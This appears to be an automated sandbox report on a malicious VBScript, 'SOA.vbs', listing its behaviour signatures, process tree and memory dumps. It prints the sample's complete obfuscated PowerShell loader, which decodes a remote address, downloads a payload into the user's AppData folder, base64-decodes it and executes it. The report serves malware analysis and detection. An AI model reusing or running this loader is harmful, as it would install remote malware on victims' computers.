Analysis
- max time kernel
139s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
03/07/2024, 06:02
General
- Target SOA.vbs
- Size 22KB
- Sample240703-grfxqavanm
- SHA256 99c3ad8c8368e37f91ee3afc68707e9f3bf8a3568148a52a30b185c74fc3ceab
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SOA.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Pleuroid Afstivningstmmerets Moralismens racetracker Touperede Moosewob Ilsebils Maengdelaere Gimmick Stabiliseringsmidlets forbifart Hazelly Paradoksale Raadhusvinenes stresssituationer Udvalgsbehandle Patriarkat Decimalisation Grinderies Pictarnie Reviderendes201 Skn Filterability Nonclosely Pleuroid Afstivningstmmerets Moralismens racetracker Touperede Moosewob Ilsebils Maengdelaere Gimmick Stabiliseringsmidlets forbifart Hazelly Paradoksale Raadhusvinenes stresssituationer Udvalgsbehandle Patriarkat Decimalisation Grinderies Pictarnie Reviderendes201 Skn Filterability Nonclosely';If (${host}.CurrentCulture) {$Oblicque++;}Function Systemsikkerheden($Uduelighedernes){$Erickson=$Uduelighedernes.Length-$Oblicque;$Shakeouts='SUBsTRI';$Shakeouts+='ng';For( $Toforn=7;$Toforn -lt $Erickson;$Toforn+=8){$Pleuroid+=$Uduelighedernes.$Shakeouts.Invoke( $Toforn, $Oblicque);}$Pleuroid;}function Debutroller($Badasses116){ . ($Redningernes) ($Badasses116);}$verdenens=Systemsikkerheden 'Erg,terMN mmulao Sprhagz Flint.iApheliol KnhjdelUtil,jeaReformi/Elveren5St.pful.Pauropo0 Mista Undervr( UgesteWFra.meni Arg.ronTetrol,dCounteroLearnthwSpejlr,sUnenunc SanmariNMilieubTHollnde Quakine1Nesting0Be ndre.Srforso0Magende;Overbid Dgge.amWMetameri EmiliunDe,rien6Concent4decimal;Periphe BatatatxMidastr6 Form l4Bulldog;Gitonin Ildprvr superavHydno.a:Sleekes1Unw nda2Udbytte1 Nejern.Analogi0Ema.jer).erbesc BoschneGMes,nepeFly.tefc Macr rkMalarsaoSp,nish/ System2Moan.es0 iscalc1Margeni0J.annys0Amentyt1Englant0Volu en1 i.dlgg BibliofFNeumeteiWeaponrrHassleseBrndestfAverti,o V,rsifxVandind/Oversys1 Preear2 Sunb,t1Retsfor.Ledigg.0Fa vetr ';$Overspringelses=Systemsikkerheden '.ournurUc,ambras Pa tomeLissasnrspecial-AntiortAImp,rtrgAbessineGressibnOverintt Nepoti ';$Touperede=Systemsikkerheden ' grilnih M,spait VaskertGeoelekp Sheike:Sauba e/.hacoth/Eksk us1Palikar0Didleru3 Nonico.Knobker2Tyttebr3 Sekund7Disburs.Brise.n8Parthav6Landman.Paradox2 Rit.es4Lyskurv7Fritten/MultilatCiga.ephFanwo.teB.roligo Woodcrm.iderliaDleste,gHklingsyIdrrm d.,ommerbpSemiapesStrangum Derive ';$Nonporous=Systemsikkerheden ' Fa,rgo>.ctophy ';$Redningernes=Systemsikkerheden '.kkumulisubclaveDabeilixBo leut ';$Bruttoetageareal='Maengdelaere';$Tofornncudectomy = Systemsikkerheden ' firtakeTheatroc ipningh StamenoCoagula Coelom %,dspndpa,sterlipAfsagtspAn.itradOmsadlea nearthtDi estiaAgencie%bespill\UordentHDwi ejuaSpartlie DeactimPeacinga Co.eadt S,dalioAnilidel HumouroGiftighgKraeveriEmblemecMacroso4Ta.sere1Petrolo.M lkmenMTrosfriiTransaqlI.detec Arghelb& Vder.d&Hyldebl KansaameXylotilc JustithSkviseroForm ri MundungtAdfrdsk ';Debutroller (Systemsikkerheden ' Furazo$ P,lkengTarokkel.avioliost tusobR,adshea U creal Peltig:Pl.tarcRSetts,roRrelsers Au,oxie.tringimFlugtsiapredelil UnarraiBli zlanUopdra gReaffir=Busfuld( .trejkcUnipartmStereofdDr gste Bedells/SynechicSpottil Gru,pe$ Impl.mTMascagnoForsbenf TrombooKonomidrSaxofonnAandsarnFraudprc gaaretuApop.ekdCahit,seS.ubletc Eggbeat.illardoClar,acm orridoyMeriane) Punici ');Debutroller (Systemsikkerheden 'Sc,aigh$Pr etaggDukkemalF,lsemaoRecognibNonincaa,ndkobllProcomp:Tegnes,rCentneraM,ngelecCrizzelePrescort Fyri.grDualistaKalendecSolubilkVirgerceOutjumprClassic=.kuespi$Indpa.nTBrainieo PrintkudockmanpVirologeVddelbsrUdkeleteBeswitcd Dia.roeS,iftie.E.kalersProduktpAtmo phlSanemoniTarbo rtHominal(Lokalis$SammensN Subteno N.nrednres ektpur,emmeoUo,gngerBarselsoUplea.tuTrstegnsPostp o)In.uman ');Debutroller (Systemsikkerheden 'Skulpt,[ProtokoNL,ggetseConnixatQuadric.rum ureSKastep,ePerigenr Luft lvDispropiHoved tc KerbedeUnpowerPUn,ertro Plano,i Staplfncro,sint GennemMAfveksla M,rcelnEry,hrua PrajetgRefnovee NrtstarKandern]Gossysy:B thiec:OligotrS No.syneRafaelsc CafgenuSt,rmenr.ontrahiTranspltF avescyHyperteP fireperChrom toAntirictRemo eno UsuskucB gtaltoHul.glalRachill Kanapyg=La,ouri fanaka[K.llealN eratoleBemrkeltObersts. F,rpliSSkruebreHaymakicCoilab,uIs,hydrrKranv.gi Mel emtIndkomsyCentralPDruitharTilfredoAfrivnit B,otstoRefe,encTordneaoMinerollkrapfenTOverthryspor smp tamhereAntithe]Pomaded:Sermoci:PeriodiT PengeblUdsprj sPass nt1Streetw2G.wkedn ');$Touperede=$racetracker[0];$Tofornndfarver= (Systemsikkerheden 'Ungel,t$CorbeilgFiltredlAssag,io SvecisbCfhnazia Hyperpl Stivsi:betal.nNLa.ererogymnostvsupplere tatskilN,ndisaealgesict BystattKonsumei orsknsKoalitih Eks.ra3Unmani.8fodbold=TrigoneNLi urgieSangeriwtubercu-GatacopOPizzamabDksti.lj Aut.eceTjenstdcUn ittetv,rdens trve,krS unignoyDronnins Infi itDespendeStryg,im ppede. MafurrNPartikueGaldrimt Renta,.PapirtiWForbindeTw ddlibS,ruestCGods.kslFlutistiPakkelieOpfordrn Kritist');$Tofornndfarver+=$Rosemaling[1];Debutroller ($Tofornndfarver);Debutroller (Systemsikkerheden 'Jagtlej$IllustrNSlvbedeorishstevM rprelePalisadl Deir,de Flugtbt knockitEutheniiThu kprsAmnesiahMulch.s3Foruren8Arbejds.Mag.ifiHAnt aggeCarnifiaaethercd SvedigeImmensur AnerkesDriftst[ Rutefl$SkelettO .nclogv Un.vereD visinrIntolersFra,ggepSci.therMonotheiFustybrnKol ektgSlingree StvnemlVirkem,sBradypoe nspeaksUsdelig]Lajkapa=E,hinom$Fri.edsv KabelbeNo,saner ch sead Film.peFaseindn Modydeesopransn Fornufs.ankful ');$Indfrslens=Systemsikkerheden '.asuari$SeraskiNTibionaoDiscas,vNor alseFanersslUnsmooteLaaneretHypogastmorticiiFjantersDemihorhAfstr s3In,driv8glorise.MejerisD Ubeh.lo PublicwCornellnNonsta.lFleree.oUd,ygniapolymatdBristenFBrofogdi Ifint,l OvergreUtiliza(Ketubah$Mo,eratTFlel esoAntiulcuSkul tuperskinee Fl.eybrSmaaboreSilangadFiskendeFinia.s,Sof,sen$ Nonpe Spal,asgkToldvsnn Cocker) Univer ';$Skn=$Rosemaling[0];Debutroller (Systemsikkerheden 'Grav.js$SubsequgPalae.slPicksomo HaplobbOreodo.aOsteoarlMarkeds:PanaestU Grund nFodnotedFinaliseFrontler Hu.drefUnderkjaEccrisilVrkested FuldmasMonodynhCounte.jSmldeneuPomeyrelGennemleOpholdetLeverins adultt=Udloebs( MylohaTAdjudaneAn.ggess Pr mrvtBronzsp- FelinePUnderpra Comme,t TorporhCapsula Recipi $ S.lvelSConfe ekBu ikstnElectro)Slusev, ');while (!$Underfaldshjulets) {Debutroller (Systemsikkerheden ' Recogn$SkjulergSrgebi.ltanquenoSpirit.b mamboeaMalaperlAnticha:QaidwatTMuc sogr Navnera emautoc Ptery.t Abomaso barytorTroglyti Ve derzBeklemmeAlpakas=v,nerne$C dukeutFrkkertrA nicoeuUnplashepartiva ') ;Debutroller $Indfrslens;Debutroller (Systemsikkerheden 'Fo,noteSUnderjutRadiomeaArchdo r MevyaltKyrasse-Vivien,S TanyarlRingbryeTemperaeEthiopepA otyle Grstr.k4 Kildek ');Debutroller (Systemsikkerheden 'Comprom$Vgtigerg Bitte.lEchina oSkildpabMechanoaKettesslUnc tec:PromptbUEctophynDobbeltd No,pereChok,larEntailsfDis,omeaclitionlFlankerdHuskeresDe auchh RingeajLieutenuS,leenllKontroleSpredestEnkeltrsEvaluer= esters(HeksekeTFladsyneTndehvls SpritttMediate-ZoneindP kattega,onadect Con,ach.rafiku Topg,a$B.kymriSPlianthkLewisesn Beeroc) Herred ') ;Debutroller (Systemsikkerheden ' A bass$ Moskpqg tvillilVildtbeo Altsa.b SplendaLuftpudlOpsaml :EkstrabMBrodereoFakulterAsklentaChickielVicegeriimmatersreobligmCampongeMicrosynNuss,ndsTampend=Uncandi$ForlystgPrfabr.l,xpectioRemuablb Hil,neaRemeasulTel,ifj:PalaeoeA .andbefR jectesStraal,tMicrocoiHomol gvForeninnMalpropiRestaurnTilkrengPolaransDerovretPasteurmKvantitmNordsteeUnv,terrkasparseStvskyetSkegsd sFodgnge+Medgrli+Twaddle%Knicker$OldtidsrsteriliaerindlecComprizePatchwotUopslidrDekompraFoy,radc,arbgerkPreoccle P,rvulrChokol,.ForlggecStempe,oRadikalu SyvaarnBeflourt Hy.and ') ;$Touperede=$racetracker[$Moralismens];}$Lettrure=317544;$koloritters=29622;Debutroller (Systemsikkerheden 'Baccill$Teledeng postlulIndblanoZie sbrbE,ichloaAccellelTetani,: Kine,eGVredesuiArchdemm Ushabtm trghaniTranslacKrukkerk Skunke Ellison= Censor AubergiGTolreroe osomitGownsaf-f.ysepuC,aahhalononsacrnNordgaathodaddie .nwardn E,sklutlamella Hypnoti$SigillaS nubprok Su posnUnderfa ');Debutroller (Systemsikkerheden ' ,iskun$Skruestg ce letl RockmaoAlineaebakv,relaVein,eslTotalte:SyrererVDiskurseTrirhomdForsbedlToba,shiUndfanggBemyndie piderwh xilaroJetsom.lHirtshadDeba,kse PotpourFustiea Ben,ne=Moustac Sprydst[ ,fkbevS HylothyAbelsonsHeavenwtTro,dileHostel,mCaroten.KlepperCTirralioNonadv,nov.rlacvOceanole,etalter SedanstTob.kke]Brddegu:Psorosi:Slan.whFMeleagrrMi tnksoGrilninmHarp.inBSkadegraEmblem s Kilo,reCoelast6Twiz,le4Ceilec,S FremadtFlagellrsluts,miStraddln Hovedmg Faradi( pioner$ Comme GBa.eresiapjohnimCotenurmBag.etsi Regionc LandstkUdringe)D,blade ');Debutroller (Systemsikkerheden 'Antifer$Kinooshg PresselKalligroBeherskb AfbrknaBlackisl Mesosc:BemadamHHomocreamiljb.szDaarligeDokumenlFrontadlDosaadoySonch.s Fejlbed=Transit Ekstra[DessertS EvigheyChecke,s,fgiftst TrykkneCloakedmCrepeny.DeidealT LegetjeGu.mdrexEn,elldtBropeng.ForudstEBrstninnI reparc Dra,teovalglokdLipacidi RabblenBrien.pgS.rvice]Oppustn: Oyster:PeriostA JdekirSLearchuCMycoplaISylvestIEmbedsl.MullionGBlokeree SaradotPlatfo.SPoet,totox dactrBarn,aliIndent,nAnsigtsg Undert(Goderne$Tppe.liVKontrakeMalve.sdBounc.blDrifts,iRaadplagGl.sforeTransmih ShelfmoLingulilDegwooddneuropaeOverr.sr arthur)Adfaerd ');Debutroller (Systemsikkerheden ' Tilord$ DesertgFyringsl CentreoCerebr bStruthiaAttachelCrapula: St,dsnRKradseroIndustrd InsekteBogmarkrWat hwoiBephilteDmringetBlindfl= i tell$ PolygaH ,vergra Korsfaz unengre Tra.malSumpg sl Impaney ygaen.Geschfts LigfrduVaireebbReactedsAffectitRevei.lrUdkomstiTakn.ngnfaellelgMesitae(Othern.$MefistoLDis ageeUnindict Refer tsubdiacrOrdbilluUnguiltrCubistieErosion,.orlyst$ufuld tk BiblicoB.lligslKipchakoC,liolorPho osyi TvinedtNetadretVerbesie TookenrskatteksCur.syi)Blackca ');Debutroller $Roderiet;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Haematologic41.Mil && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_wgml003w.tkt.ps1
memory/760-0-0x00007FFE23333000-0x00007FFE23335000-memory.dmp
memory/760-1-0x0000020A1CCD0000-0x0000020A1CCF2000-memory.dmp
memory/760-11-0x00007FFE23330000-0x00007FFE23DF1000-memory.dmp
memory/760-12-0x00007FFE23330000-0x00007FFE23DF1000-memory.dmp
memory/760-13-0x00007FFE23333000-0x00007FFE23335000-memory.dmp
memory/760-14-0x00007FFE23330000-0x00007FFE23DF1000-memory.dmp
memory/760-15-0x00007FFE23330000-0x00007FFE23DF1000-memory.dmp
memory/760-16-0x00007FFE23330000-0x00007FFE23DF1000-memory.dmp